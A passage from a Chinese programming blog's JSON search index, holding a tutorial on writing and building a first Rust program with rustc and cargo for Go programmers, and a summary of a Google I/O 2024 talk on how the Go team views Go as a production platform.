href=\"https://tonybai.com/2024/05/30/go-1-23-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/30/go-1-23-foresight\"\u003ehttps://tonybai.com/2024/05/30/go-1-23-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2024年5月22日，\u003ca href=\"https://github.com/golang/go/milestone/212\"\u003eGo 1.23版本\u003c/a\u003e功能特性正式冻结，后续将只改bug，不增加新feature。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 30\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-23-foresight-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e对Go团队来说，这意味着开始了Go 1.23rc1的冲刺，对我们普通Gopher而言，这意味着\u003cstrong\u003e是时候对Go 1.23新增的功能做一些前瞻了\u003c/strong\u003e！\u003c/p\u003e","title":"Go 1.23新特性前瞻"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program\n经过上一章的学习，我想现在你已经成功安装好一个Rust开发环境了，是时候撸起袖子开始写Rust代码了！\n程序员这个历史并不算悠久的行当，却有着一个历史悠久的传统，那就是每种编程语言都将一个名为“hello, world”的示例作为这门语言学习的第一个例子，这个传统始于20世纪70年代那本大名鼎鼎的由布莱恩·科尼根（Brian W. Kernighan）与C语言之父丹尼斯·里奇（Dennis M. Ritchie）合著的《C程序设计语言》。\n在这一章中，我们也将遵从传统，从编写和运行一个可以打印出“hello, world”的Rust示例程序开始我们正式的Rust编码之旅。我希望通过这个示例程序你能够对Rust程序结构有一个直观且清晰的认识。\n3.1 Hello, World “Hello, World”是一门编程语言的最简单示例的表达形式。在Go中，我们可以像下面这样编写Go版本的Hello, World程序：\npackage main func main() { println(\u0026#34;Hello, World!\u0026#34;) } 为了简单，我们甚至没有使用fmt包的Printf系列函数（这样就可以减少一行导入包的语句），而是用了内置函数println来完成将“Hello, World”输出到控制台（更准确的说是标准错误(stderr)）的任务。\nRust版本的Hello, World可以比Go还要简洁，我们在一个目录下（比如rust-guide-for-gopher/helloworld/rustc）创建一个hello_world.rs的文件。哦，没错！rust的源码文件都是以.rs作为源文件扩展名的。并且对于多个单词构成的文件名，rust的惯例是采用全小写单词+下划线连接的方式命名。这个hello_world.rs文件的内容如下：\nfn main() { println!(\u0026#34;Hello, World!\u0026#34;); } 相比于Go在每个源文件中都要使用package指定该文件归属的包名，Rust无需这样的一行。和Go一样，这里的main是函数，所有可执行的Rust程序都必须有一个main函数，它是Rust程序的入口函数。和Go使用func函数声明函数不同，Rust声明函数的关键字为fn。在这个main函数中，我们调用println!将“Hello, World!”输出到控制台上。\n不过，和Go内置的println函数不同的是，这里的println!并非是一个函数，而是一个Rust宏(macro)。\n如果你只是学过Go，而没有学过C/C++语言，你甚至都不会知道宏(macro)是什么。在Rust中，宏是一种用于代码生成和转换的元编程工具。宏允许你在编译时根据一定的模式或规则来扩展代码。Rust宏分为声明宏（Declarative Macros）和过程宏（Procedural Macros）。println!就属于声明宏，它由macro_rules! 宏定义，我们在Rust标准库的源码中可以看到其定义：\n// $(rustc --print sysroot)/lib/rustlib/src/rust/library/std/src/macros.rs #[macro_export] #[stable(feature = \u0026#34;rust1\u0026#34;, since = \u0026#34;1.0.0\u0026#34;)] #[cfg_attr(not(test), rustc_diagnostic_item = \u0026#34;println_macro\u0026#34;)] #[allow_internal_unstable(print_internals, format_args_nl)] macro_rules! println { () =\u0026gt; { $crate::print!(\u0026#34;\\n\u0026#34;) }; ($($arg:tt)*) =\u0026gt; {{ $crate::io::_print($crate::format_args_nl!($($arg)*)); }}; } 在Rust源码编译过程中，声明宏是在最开始的预处理阶段进行扩展的，我们也可以通过nightly版的rustc命令来查看println!宏展开后的结果(-Z选项只能在nightly版本中使用)：\n$rustc +nightly-2022-07-14-x86_64-apple-darwin -Zunpretty=expanded hello_world.rs #![feature(prelude_import)] #![no_std] #[prelude_import] use ::std::prelude::rust_2015::*; #[macro_use] extern crate std; fn main() { { ::std::io::_print(::core::fmt::Arguments::new_v1(\u0026amp;[\u0026#34;Hello, World!\\n\u0026#34;], \u0026amp;[])); }; } 我们看到：println!宏被替换为一个标准库下的函数(_print)的调用。btw，到这里，你可能和我一样，看不懂println!展开后的代码，没关系，我们后续会逐步学习并掌握这些语法的。此外，宏是Rust的高级特性，这里也不展开说了。\n另外一个和Go在语法上有所不同的是，Rust在每行语句后面都要显式使用分号，对于Gopher而言，这个很容易遗忘。\n接下来，我们来编译和运行一下这个Rust版的Hello，World!，编译运行Rust代码的最简单方法就是通过rustc编译器将rust源码文件编译为可执行程序：\n$rustc hello_world.rs $ls hello_world* hello_world.rs 我们看到，示例通过调用rustc将hello_world.rs编译为了hello_world可执行文件。\n运行rustc编译后的可执行文件将得到下面输出结果：\n$./hello_world Hello, World! 我们看到”Hello, World!”被打印到控制台。\n如果觉得默认编译出的hello_world文件名字较长，我们也可以像go build -o那样指定rustc编译后得到的目标可执行文件的名字，下面的命令通过-o选项将编译后的程序命名为hello：\n$rustc -o hello hello_world.rs rustc编译出来的二进制文件size并不大，仅有400多KB（而Go默认构建的Hello, World!有1.3MB，在我的macOS上）：\n$ls -lh total 856 -rwxr-xr-x 1 tonybai staff 423K 4 20 17:56 hello_world* 我们还可以通过去掉symbols的方式继续让其“瘦身”到不到300KB(通过go build -ldflags=”-s -w” helloworld.go去除符号表和调试信息的Go二进制程序还有近900K的大小)：\n$rustc -C strip=symbols hello_world.rs $ll -h total 608 -rwxr-xr-x 1 tonybai staff 297K 4 20 17:57 hello_world* 上面的”Hello, World”程序虽然足够简单，也能够运行，但对于初学者而言，它有两个“不足”：一来这个例子的确“太简单”，简单到无法充分展示单个Rust源码文件的结构；二来这个示例只使用了一个单个源文件，与实际开发中那种由多个文件组成的Rust实用工程有差别，同样无法帮助我们理解实用性的Rust工程的结构。\n为了更好地理解Rust工程与单个源文件的构成，我们将编写一个稍微复杂一点的版本，它将使用Rust的构建管理工具cargo建立，并使用Rust标准库中的std::io模块进行输入/输出操作。\n3.2 cargo版本的Hello, World 在实际开发中，Rust程序通常由多个源文件组成，并使用Cargo作为构建系统和包管理器。Cargo可以帮助我们管理项目的源代码、依赖库、构建任务等。下面我们就来创建一个使用Cargo的”Hello, World”。\n3.2.1 使用Cargo创建Hello，World 我们在一个目录下（比如：rust-guide-for-gopher/helloworld/cargo）执行下面命令来创建hello_world：\n$cargo new hello_world Created binary (application) `hello_world` package cargo默认创建了一个binary（application）类型的rust package，我们来看看初始情况下这个rust package下都有哪些内容：\n$tree hello_world hello_world ├── Cargo.toml └── src └── main.rs 1 directory, 2 files 其中，Cargo.toml是Rust包的清单(manifest)文件。它包含有关包及其依赖项的元数据。以下是上面Cargo.toml文件的全部内容：\n// Cargo.toml [package] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; edition = \u0026#34;2021\u0026#34; # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] 其中package下面的字段含义如下：\nname: 包的名称； version: 包的版本，遵循语义化版本控制规则； edition: 包使用的Rust版本(edition)。在这里，它被设置为目前的最新edition：2021版。edition提供了一种向后兼容的方式来演化和改进Rust。每个edition都是向后兼容的，这意味着旧edition下编写的Rust代码可以继续在新edition版本的Rust下编译和运行，而无需进行修改。这样，开发者可以按照自己的节奏选择是否迁移到新的edition。 dependencies下面则是会记录该package对第三方依赖的情况，这个示例中并无三方依赖，因此这里为空。\n我们的代码放在了src目录下，这也是rust包的标准布局。为了更好地理解Rust程序的构成，我们将编写一个稍微复杂一点的Hello, World!版本，它使用Rust标准库中的std::io模块进行输入/输出操作：\n// rust-guide-for-gopher/helloworld/cargo/hello_world/src/main.rs use std::io; use std::io::Write; fn main() { let mut output = io::stdout(); output.write(b\u0026#34;Hello, World!\u0026#34;).unwrap(); output.flush().unwrap(); } 这个Rust的”Hello, World”程序展示了一个典型的Rust源文件结构，包括导入语句、主函数定义以及一系列的方法调用。它演示了如何使用标准库的io模块来向标准输出流打印”Hello, World!”。下面是对其程序结构的简单总结：\n导入语句 源文件在最开始处使用use std::io; 和use std::io::Write;这两行导入了标准库中的io模块及其Write trait。这样程序就可以在后面的代码中直接使用io和Write，而无需完整地写出它们的命名空间。这里我们先不用关心trait是什么，你大可将其理解为和Go interface差不多的语法元素就行了。\n主函数 main定义了程序的入口点。Rust 程序从main函数开始执行。\n可变变量 let mut output = io::stdout(); 这行代码创建了一个可变变量output，它绑定到了一个标准输出流（stdout）。mut关键字表示该变量是可变的，可以在后续代码中修改它的值。关于变量以及绑定，我们在后面有专门的章节说明。这里要注意的是，和Go变量不同的是，Rust中的变量默认是不可变的，只有显式用mut声明的变量才是可变的。\n方法调用 output.write(b”Hello, World!”).unwrap(); 调用了output的write方法，传递了一个字节串作为参数。该方法用于将字节写入输出流。unwrap方法用于处理方法调用可能产生的错误，它在这里表示“我相信这个方法调用会成功，如果不成功，就让程序 panic”。同理，output.flush().unwrap()也是这样的。关于错误以及异常处理的话题，我们会在后面进行专题性学习。\n理解了源码后，我们来编译和运行一下这个程序，这次我们不再使用rustc，而是用cargo来实现。\n3.2.2 使用Cargo构建Hello, World 要构建上面的示例程序，我们只需在项目根目录下运行下面命令:\n$cargo build Compiling hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/helloworld/cargo/hello_world) Finished dev [unoptimized + debuginfo] target(s) in 1.23s 构建成功后，我们再来查看一下当前项目下的结构变化：\n$tree -F . ├── Cargo.lock ├── Cargo.toml ├── src/ │ └── main.rs └── target/ ├── CACHEDIR.TAG └── debug/ ├── build/ ├── deps/ │ ├── hello_world-07284f5d84374479* │ ├── hello_world-07284f5d84374479.1atc14vk0u28taij.rcgu.o │ ├── hello_world-07284f5d84374479.1bu89c2i9mazzqif.rcgu.o │ ├── hello_world-07284f5d84374479.26e3nxhmk9lhy9zy.rcgu.o │ ├── hello_world-07284f5d84374479.29l81xyv0i4g8s88.rcgu.o │ ├── hello_world-07284f5d84374479.41i7ln85cwseljfw.rcgu.o │ ├── hello_world-07284f5d84374479.4iz3ubiqrvegnjdp.rcgu.o │ ├── hello_world-07284f5d84374479.53vu8cjirf8g6rnw.rcgu.o │ ├── hello_world-07284f5d84374479.5f6ye0ayl23rccqv.rcgu.o │ └── hello_world-07284f5d84374479.d ├── examples/ ├── hello_world* ├── hello_world.d └── incremental/ └── hello_world-16yuztatbr0vh/ ├── s-gvfwmugno5-1gy801r-1i2g78r4nmg489ix0nuktmqgb/ │ ├── 1atc14vk0u28taij.o │ ├── 1bu89c2i9mazzqif.o │ ├── 26e3nxhmk9lhy9zy.o │ ├── 29l81xyv0i4g8s88.o │ ├── 41i7ln85cwseljfw.o │ ├── 4iz3ubiqrvegnjdp.o │ ├── 53vu8cjirf8g6rnw.o │ ├── 5f6ye0ayl23rccqv.o │ ├── dep-graph.bin │ ├── query-cache.bin │ └── work-products.bin └── s-gvfwmugno5-1gy801r.lock* 9 directories, 28 files 我们看到cargo build执行后，项目下多出了好多目录和文件。这些目录和文件都是做什么的呢？我们挑选主要的来看一下。\nCargo.lock文件 Cargo的锁定文件，用于记录每个依赖项的确切版本号，以保证构建的可重复性。\n这个示例中由于没有使用第三方依赖，这个Cargo.lock文件中的内容不具典型性：\n# This file is automatically @generated by Cargo. # It is not intended for manual editing. version = 3 [[package]] name = \u0026#34;hello_world\u0026#34; version = \u0026#34;0.1.0\u0026#34; 另外Cargo.lock文件完全由cargo自动管理，开发人员不需要也不应该对其进行手动修改。\ntarget目录 存放构建输出的目录，用于存储编译后的目标文件和可执行文件。\ntarget/CACHEDIR.TAG 用于标记target目录为一个缓存目录的文件。它的内容如下：\n$cat CACHEDIR.TAG Signature: 8a477f597d28d172789f06886806bc55 # This file is a cache directory tag created by cargo. # For information about cache directory tags see https://bford.info/cachedir/ 这是一个符合Cache Directory Tagging Specification的Tag文件。\ntarget/debug 调试模式下的构建输出目录，存储生成的可执行文件和相关文件。\ntarget/debug/incremental 增量编译的目录，用于存储增量编译过程中的临时文件和缓存。\nRust编译过程缓慢，这个对比Go简直就是地下天上。在日常开发中，基于增量编译的文件进行增量构建可以大幅缩短编译时间。\ntarget/debug/build 编译过程中生成的临时构建文件的目录。\ntarget/debug/deps 存储编译生成的目标文件（.o 文件）和相关的依赖项。\ntarget/debug/hello_world 调试模式下生成的可执行文件。\ntarget/debug/hello_world.d 与hello_world相关的依赖关系信息的文件。\n执行debug目录下的hello_world将得到如下输出：\n$./target/debug/hello_world Hello, World! 在Go中我们可以使用go run来直接编译和运行Go源码文件，cargo也提供了该功能，我们在项目根目录下运行cargo run也可以编译和执行hello_world：\n$cargo run Finished dev [unoptimized + debuginfo] target(s) in 0.05s Running `target/debug/hello_world` Hello, World! 无论是cargo run还是cargo build，默认构建的都是debug版本的可执行程序，程序中包含大量符号信息和调试信息，并且其优化级别也不是很高。发布到生产环境的程序应该是release模式下的，通过–release参数，我们可以构建release版本的可执行程序：\n$cargo build --release Compiling hello_world v0.1.0 (/Users/tonybai/Go/src/github.com/bigwhite/experiments/rust-guide-for-gopher/helloworld/cargo/hello_world) Finished release [optimized] target(s) in 1.06s 构建后，target目录下会多出一个release目录，其下面的内容如下：\n$tree -F target/release target/release ├── build/ ├── deps/ │ ├── hello_world-c41defdc625f9244* │ └── hello_world-c41defdc625f9244.d ├── examples/ ├── hello_world* ├── hello_world.d └── incremental/ 4 directories, 4 files 相对于debug版本，release版本由于实时了大量优化，通常其构建时间会比debug版本要长。但构建出的release版本的size则要小很多。\n无论是debug，还是release版，target下面都生成了许多中间文件，如果要清理文件并重头构建，我们可以使用cargo clean命令将target彻底清除：\n$cargo clean Removed 40 files, 2.1MiB total 当然cargo clean也支持一些命令行参数，可以选择清除哪些文件。\n3.2.3 使用Cargo创建library类包 通过上面的例子，我们知道cargo new默认创建的binary类型的rust package，如果我们要创建library类型的rust package，我们需要向cargo new传递–lib选项。下面的命令创建一个名为foo的library类型的rust package：\n$cargo new --lib foo Created library `foo` package 我们看一下foo package下的目录结构：\n$tree -F foo foo ├── Cargo.toml └── src/ └── lib.rs 1 directory, 2 files 和binary类不同的是，src目录下不再是main.rs，而是lib.rs，它是library类package的入口：\n//rust-guide-for-gopher/helloworld/cargo/foo/lib.rs pub fn add(left: usize, right: usize) -\u0026gt; usize { left + right } #[cfg(test)] mod tests { use super::*; #[test] fn it_works() { let result = add(2, 2); assert_eq!(result, 4); } } lib.rs中只是一个library类package的入口模板，开发人员需要根据自己的需要对其进行调整。关于lib.rs中的内容，我们将在下一章讲解Rust代码组织时做细致说明，这里就不展开说了。\n对于library类Rust package，我们同样可以通过cargo build和cargo build –release构建，下面是执行构建后目录文件情况：\n$tree . ├── Cargo.lock ├── Cargo.toml ├── src │ └── lib.rs └── target ├── CACHEDIR.TAG ├── debug │ ├── build │ ├── deps │ │ ├── foo-24c6d6228c521501.2k5t0f94hnorqpgh.rcgu.o │ │ ├── foo-24c6d6228c521501.d │ │ ├── libfoo-24c6d6228c521501.rlib │ │ └── libfoo-24c6d6228c521501.rmeta │ ├── examples │ ├── incremental │ │ └── foo-m2biu8poxl6i │ │ ├── s-gvg68shtlp-1oqrf4n-irxhgoe7rhwmtvj6jwexcu0h │ │ │ ├── 2k5t0f94hnorqpgh.o │ │ │ ├── dep-graph.bin │ │ │ ├── query-cache.bin │ │ │ └── work-products.bin │ │ └── s-gvg68shtlp-1oqrf4n.lock │ ├── libfoo.d │ └── libfoo.rlib └── release ├── build ├── deps │ ├── foo-9f2dd76beda509bd.d │ ├── libfoo-9f2dd76beda509bd.rlib │ └── libfoo-9f2dd76beda509bd.rmeta ├── examples ├── incremental ├── libfoo.d └── libfoo.rlib 14 directories, 20 files 我们看到，无论是debug还是release，cargo build构建的结果都是libfoo.rlib。.rlib文件是Rust的静态库文件，通常用于代码的模块化和重用，我们在后续章节讲解中，会详细说明如何使用这些构建出来的静态库。\n3.3 小结 本文介绍了如何使用Rust编写”Hello, World”程序，并分别给出了rustc版和cargo版的hello, world程序版本。\n在这个过程中，文章还介绍了Rust中的宏概念，并展示了如何使用println!宏来输出文本。\n之后，文章聚焦于使用Cargo构建的hello，world程序版本，介绍了cargo的构建、清理、debug和release版本的区别等，最后还提及了如何使用cargo创建library类的Rust package。\ncargo贯穿Rust程序的整个生命周期，在后续的每一章中可能都会提及cargo。\n本章中涉及的源码可以在这里下载。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-first-rust-program-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program\"\u003ehttps://tonybai.com/2024/05/27/gopher-rust-first-lesson-first-rust-program\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e经过\u003ca href=\"https://tonybai.com/2024/05/10/gopher-rust-first-lesson-setup-dev-env/\"\u003e上一章\u003c/a\u003e的学习，我想现在你已经成功安装好一个Rust开发环境了，是时候撸起袖子开始写Rust代码了！\u003c/p\u003e\n\u003cp\u003e程序员这个历史并不算悠久的行当，却有着一个历史悠久的传统，那就是每种编程语言都将一个名为“hello, world”的示例作为这门语言学习的第一个例子，这个传统始于20世纪70年代那本大名鼎鼎的由布莱恩·科尼根（Brian W. Kernighan）与C语言之父丹尼斯·里奇（Dennis M. Ritchie）合著的《C程序设计语言》。\u003c/p\u003e","title":"Gopher的Rust第一课：第一个Rust程序"},{"content":"\n本文永久链接 – https://tonybai.com/2024/05/19/what-the-go-team-think-go-is\n2024年的Google I/O大会如期而至。\n这届大会的核心主旨毫无疑问是坚定不移的以AI为中心：Google先是发布了上下文长度将达到惊人的200万token的Gemini 1.5 Pro，然后面对OpenAI GPT-4o的挑衅，谷歌在大会上直接甩出大杀器Project Astra，视觉识别和语音交互效果，跟OpenAI的GPT-4o不相上下；接着，谷歌又祭出文生视频模型Veo硬刚Sora，效果酷炫，时长超过1分钟，打破Sora纪录。最后Google CEO劈柴宣布：谷歌搜索将被Gemini重塑，形态从此彻底改变！用户不再需要自己点进搜索结果，而是由多步骤推理的AI Overview来代办一切。\n不过，除了AI之外，Google在移动、Web和Cloud几个平台方面也为开发者带来了诸多精彩的内容，这其中就包括由Google Cloud团队带来的“Profile-guided optimization with Go”的演讲：\n注：目前，Go团队已归入Google Cloud团队管理。\n该演讲由Cameron Balahan、Michael Pratt和James Ma三个人共同完成。其中长相颇似电影“源代码”主角杰克·吉伦哈尔的Cameron Balahan在演讲中首先登场，阐述了Go团队眼中的Go究竟是什么。\n2022年，美国计算机学会通讯(Communications of the ACM)期刊2022年5月第65卷第5期将发表了一篇有关Go语言的综述类Paper：《Go编程语言与环境》，这篇文章由Russ Cox，Robert Griesemer，Rob Pike，Ian Lance Taylor和Ken Thompson等Go团队的大佬联合撰写，对10多年来Go演化发展进行了复盘，深入分析了那些对Go的成功最具决定性的设计哲学与决策，这算是Go团队第一次阐述Go究竟是什么。\n而Cameron Balahan这次的演讲算是Go团队加入Google Cloud后对Go未来定位和演进上的一次说明，虽然简短，但对Gopher们也极具参考意义。在这篇文章中，我们就来看看Cameron Balahan所代表的的Go团队对Go语言的观点。\nGo是构建生产系统的高效平台 Go团队认为的第一点，也可能是最重要的一点是：Go不仅仅是一种编程语言，它是一个完整的端到端构建生产系统的平台。这一直都是Go团队的愿景。Go从一开始就是为了在规模化的实际软件工程中提供便利。并且，Go团队在Google内部将该愿景简化成了下面幻灯片中的使命陈述：Go提供了构建生产系统的最高效平台。\n说Go很高效（Go is productive），是因为Go易于学习和维护，并且可以在团队之间扩展(scale)。\n说Go是一个平台（Go is a platform），是因为它不仅仅是一种语言，它是一种端到端的开发者体验，包括IDE集成，构建和部署工具，监控工具，运行时工具，漏洞扫描等等，这些都是开箱即用的。\n说Go是生产就绪的（Go is production ready ），是因为它可靠(reliable)、高效(efficient)、稳定(stable)和安全(secure)，这就是为什么大家会在企业中看到它的身影的原因，尤其是在关键业务系统和基础设施中，遍布整个云计算领域。实际上，这也是现代云计算本身建立在Go之上的原因。这并不仅仅指Google Cloud，我指的是所有主要的云服务提供商以及所有其他主要的参与者以及云工具和技术。\nGo的无限双循环 无限双循环是一个很好的思考更广泛的软件开发生命周期的方式。左边的循环是内部开发循环，也就是大家编写代码的地方。你迭代地很快，寻求快速反馈和高效率。而右边的循环可以看作是外部循环，你已经部署了你的代码到生产中，你要监控和操作它。\n因此，当Go团队将Go作为一个平台来考虑时，他们将考虑如何端到端地解决这整个过程，包括内部和外部循环。Cameron下面基于这个循环从developer velocity(开发人员效率)、security(安全)和performance(性能)等方面分别举一些Go如何解决这些问题的例子。\ndeveloper velocity(开发人员效率) Go有一些旨在为了最大化你团队的开发人员效率的语言特性、工具和库。包括了从编写代码到将其推送到生产，再到之后可靠运维的整个过程。\nGo团队提供IDE集成，包括为Visual Studio Code开发的插件，使其能够轻松利用其余工具链的特性。Go还提供了强大的并发模型，通过Goroutine实现。Go有内置的格式化工具、内置的测试框架和内置的调试器。Go编译器本身构建静态独立二进制文件，不依赖任何系统范围的依赖项或单独的运行时，这使得部署比其他语言更容易、更安全、更快。这是一种端到端的解决方案，用于获取和维护开发人员效率。\nsecurity(安全) Go在安全性方面是领先者，这一点Go也是端到端解决的。如果你在关注最新的XZ软件供应链攻击新闻，你就会知道这是多么重要，也许比以往任何时候都更重要。这是Go团队非常重视的一个领域，因为他们已经看到在其他语言生态系统中，当一个流行的依赖项被破坏时会发生什么。\n由于Go被用于云中所有这些关键基础设施，Go团队认识到安全性是Go应该提供的最重要的功能之一。从依赖管理系统开始，Go先后有了Go Module Mirror、Checksum Database和pkg.go.dev网站，它们都会警告你所依赖的库是否被篡改或遭受已知漏洞。\n此外，Go的IDE集成很深入。如果你使用Go的VS Code插件，你会在IDE中就收到关于依赖项中的漏洞警告，包括你是否实际上从代码中调用了这些漏洞。这样，在真正依赖它们进入生产环境之前，你就知道了依赖项的安全态势。Go也是唯一一种将模糊测试内置并集成到其工具链中的主流语言。模糊测试就像一种自动化的测试类型，它会智能地操纵你程序的输入，以找出bug和漏洞。\n最后，Go有兼容性承诺，从Go 1.0开始就确保没有破坏性更改。这意味着升级很容易，这使保持最新的安全修复变得容易，跟上增强功能也很容易。去年在Go 1.21中，Go团队在此基础上增加了向前和向后兼容性特性。Go团队确实将兼容性视为不仅仅是一种便利，更是一种关键的安全特性。\nperformance(性能) Go的标准库功能丰富且健壮，并针对性能进行了优化。你可以真正构建任何东西，而无需导入一些重型库或框架。Go还有一个自我调优的垃圾收集器。如果你曾经花时间为Java调优垃圾收集器，你就会知道这简直就像是一份全职工作。它可能需要耗费的时间和你最初编写代码一样长。在Go中，垃圾收集器开箱即用，运行高效，并会自动调整以适应你的工作负载需求。 当然，还有Profile Guided Optimization(PGO)，使用过PGO的开发者都很喜欢它。有些开发者甚至已经看到了令人印象深刻的性能提升。\n开箱即用(out of the box) 图片中所有这些特性都符合开箱即用的端到端解决方案这一框架，正是这使Go成为构建生产系统最高效的平台。\nGo团队在做所有这些的同时，也获得了来自用户的非常出色的反馈。大部分Go用户真的很喜欢Go。我们在调查中一直看到这一点，客户满意度水平（93%）实际上在业内是罕见的。\nGo特性与客户价值定位 第一行可视为与生产力相关的内容。Go支持快速入门、快速迭代、快速构建真正可扩展的生产应用程序。所有这些都转化为你更快获得价值。\n第二行是关于可靠性的，包括安全性、兼容性以及所有能够减少你长期维护和运维负担的内容。负担越小，你的总体拥有成本就越低，你就有更多时间和资源专注于推动业务增长的新事物。\n第三行是关于云的。Go就像是为云量身定制的一样。Go启用的库、集成和架构都是为云而设计的，而不是后来才重新调整以适应云。因此，你将比使用其他语言时能更快更轻松地实现云的优势。\n最后，Go用户是快乐的。他们无论在哪里都很开心。而且在Google Cloud上，他们尤其开心。每个人都喜欢开心的开发人员和运维人员。\n小结 Google I/O 2024大会上Go团队代表对Go语言及其在软件工程领域的定位做了新的诠释：Go不仅是一种编程语言，更是一个端到端构建生产系统的高效平台。\nGo团队认为Go易学易维护，可扩展，同时可靠、高效、稳定和安全，适合在企业中使用，尤其是关键业务系统和基础设施领域。\n文中介绍了将Go的愿景拆解为Go的”无限双循环”的理念。其中内循环侧重开发效率，外循环侧重可靠运维。Go在开发人员效率、安全性和性能等方面都有出色的解决方案。如IDE集成、并发模型、格式化工具、测试框架、调试器、静态部署等有助提高开发效率；依赖管理、漏洞扫描、模糊测试等确保安全性；垃圾回收、编译优化等提升性能。\n此外，Go兼具快速入门、快速迭代、可扩展构建、安全可靠、低运维成本、云原生设计等特性，能让客户快速获得价值、降低总拥有成本、享受云优势，获得高客户满意度。Go可视为构建现代云基础设施的理想语言。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/05/19/what-the-go-team-think-go-is/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/what-the-go-team-think-go-is-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/05/19/what-the-go-team-think-go-is\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/05/19/what-the-go-team-think-go-is\"\u003ehttps://tonybai.com/2024/05/19/what-the-go-team-think-go-is\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2024年的\u003ca href=\"https://io.google/2024/intl/zh/\"\u003eGoogle I/O大会\u003c/a\u003e如期而至。\u003c/p\u003e\n\u003cp\u003e这届大会的核心主旨毫无疑问是\u003cstrong\u003e坚定不移的以AI为中心\u003c/strong\u003e：Google先是发布了上下文长度将达到惊人的200万token的\u003ca href=\"https://deepmind.google/technologies/gemini/pro/\"\u003eGemini 1.5 Pro\u003c/a\u003e，然后面对OpenAI GPT-4o的挑衅，谷歌在大会上直接甩出大杀器\u003ca href=\"https://deepmind.google/technologies/gemini/project-astra/\"\u003eProject Astra\u003c/a\u003e，视觉识别和语音交互效果，跟\u003ca href=\"https://openai.com/index/hello-gpt-4o/\"\u003eOpenAI的GPT-4o\u003c/a\u003e不相上下；接着，谷歌又祭出\u003ca href=\"https://deepmind.google/technologies/veo/\"\u003e文生视频模型Veo\u003c/a\u003e硬刚Sora，效果酷炫，时长超过1分钟，打破Sora纪录。最后Google CEO劈柴宣布：谷歌搜索将被Gemini重塑，形态从此彻底改变！用户不再需要自己点进搜索结果，而是由多步骤推理的\u003ca href=\"https://developers.google.com/search/docs/appearance/ai-overviews\"\u003eAI Overview\u003c/a\u003e来代办一切。\u003c/p\u003e","title":"Go团队：Go是什么"},{"content":"\n本文永久链接 – 